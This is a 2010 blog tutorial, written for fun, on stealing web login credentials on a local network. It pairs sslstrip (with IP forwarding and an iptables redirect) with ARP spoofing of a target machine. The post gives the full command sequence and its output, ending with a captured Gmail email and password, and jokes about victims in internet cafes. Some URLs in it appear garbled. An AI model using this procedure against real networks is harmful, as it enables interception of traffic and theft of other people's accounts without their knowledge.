capturing credentials with sslstrip

11 06 2010

You may or may not have seen this tool before, there are plenty of videos around that show you how to use it – let me add one more “howto” & show you my fun with it.

Scenario:

You are attached to the same network (sorry kids, not a remote vector) as the victim with a backtrack (doesnt need to be backtrack, but I use it regularly) machine and have downloaded sslstrip.

Get it: download & unpack

root@bt:~/scripts/sslstrip# wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
root@bt:~/scripts/sslstrip# tar zxvf sslstrip-0.7.tar.gz

Setup: you need to enable ip forwarding in linux & setup a forward for all port 80 traffic to port 10000 (default sslstrip port). Run sslstrip & get it to write the credentials out to a file with -w

root@bt:~/scripts/sslstrip# echo 1 > /proc/sys/net/ipv4/ip_forward
root@bt:~/scripts/sslstrip# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
root@bt:~/scripts/sslstrip/sslstrip-0.7# python sslstrip.py -f -w sslcreds-captured

Once this is done, we are nearly there – now to get users to send their traffic through your machine on the way to the gateway. In this case, the target is 192.168.0.141 & the real gateway is 192.168.0.254

root@bt:~# arpspoof -i eth0 -t 192.168.0.141 192.168.0.254
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 192.168.0.254 is-at 0:c:29:ab:b2:2c
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 192.168.0.254 is-at 0:c:29:ab:b2:2c
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 192.168.0.254 is-at 0:c:29:ab:b2:2c
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 192.168.0.254 is-at 0:c:29:ab:b2:2c

Cool – so now what … what have we actually done … lets deconstruct it a little:

Firstly linux has been configured to forward packets, we setup a redirect iptables rule to redirect all traffic except port 80, which it sends to sslstrip which we ran on the default port 10000 and we are writing out to log sslcreds-captured.

Next was to get the target to send their traffic to us instead of the gateway, using arpspoof we are telling our target that the gateway address of 192.168.0.254 is actually our nic

Our Target machine nic is 00-0C-29-09-04-71, which arpspoof automatically gathered when we ran it.

We could have easily gathered this from the backtrack machine

root@bt:~# nmap -sP 192.168.0.141

Starting Nmap 5.21 ( http://nmap.org ) at 2010-06-10 22:18 EST
Nmap scan report for 192.168.0.141
Host is up (0.00049s latency).
MAC Address: 00:0C:29:09:04:71 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

but to show the actual client config, here is the windows ipconfig /all output

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix  . :
Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter

Physical Address. . . . . . . . . : 00-0C-29-09-04-71
Dhcp Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . . . . . . . . : 192.168.0.141
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.254
DHCP Server . . . . . . . . . . . : 192.168.0.254
DNS Servers . . . . . . . . . . . : 8.8.8.8
Lease Obtained. . . . . . . . . . : Thursday, 10 June 2010 8:54:17 PM
Lease Expires . . . . . . . . . . : Friday, 11 June 2010 8:54:17 PM

So, what does the arp spoofing look like on the target
Before:

C:\Documents and Settings\Administrator>arp -a

Interface: 192.168.0.141 --- 0x2
Internet Address      Physical Address      Type
192.168.0.254         00-02-b3-a9-a5-13     dynamic

After:

C:\Documents and Settings\Administrator>arp -a

Interface: 192.168.0.141 --- 0x2
Internet Address      Physical Address      Type
192.168.0.254         00-0c-29-ab-b2-2c     dynamic

Notice the original gateway MAC address 00-02-b3-a9-a5-13 has been replaced by our attacker MAC 00-0c-29-ab-b2-2c.

User Experience:
We will use GMAIL as an example of this, but many many web pages use http for the body & simply use https for form post, which this script takes advantage of.

So our user wants to login to their GMAIL account, so they fire up the browser & type in http://www.gmail.com

Normal GMAIL page:

***Notice the url is https://http://www.google.com/accounts/……… & there is a padlock on the right hand side***

sslstrip GMAIL page:

***Notice the url is actually http://http://www.google.com/accounts/……… & there is a padlock on the left hand side, this padlock is actually a favicon of a padlock added by sslstrip to trick those not paying attention***

This is the only subtle difference that the user gets, sslstrip detects the https tags in the pages requested & re-writes them as http back to the client. From sslstrip to the server is still https, so GMAIL is happy its an ssl connection & the target is happy as he sees the identical logon page he is used to seeing, only its delivered as an http page, not https. As we are not trying to rewrite an https page back to the user, there are zero certificate popups etc.

So he logs in, gets his mail & lives happily ever after:

THE FUN BIT:

Remember we were writing to an output file

root@bt:~/scripts/sslstrip/sslstrip-0.7# cat sslcreds-captured
2010-06-10 22:07:25,992 SECURE POST Data (www.google.com):
ltmpl=default&ltmplcache=2&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3F&service=mail&rm=false&dsh=3964009503580918215&ltmpl=default&ltmpl=default&scc=1&GALX=EN7ZeXSvfzo&Email=johndoe@gmail.com&Passwd=J0hN%24_Sup3Rl33tP@ssw0rd&rmShown=1&signIn=Sign+in&asts=

The most interesting bits of that are ..
Email=johndoe@gmail.com
Passwd=J0hN%24_Sup3Rl33tP@ssw0rd
*note, the %24 is actually the hex value for the dollar ‘$’ symbol
Because johndoe is super secure & has chosen a long password he must be safe …. except for that one time he connected at the wrong internet cafe ……

GaMe-OvEr

Advertisements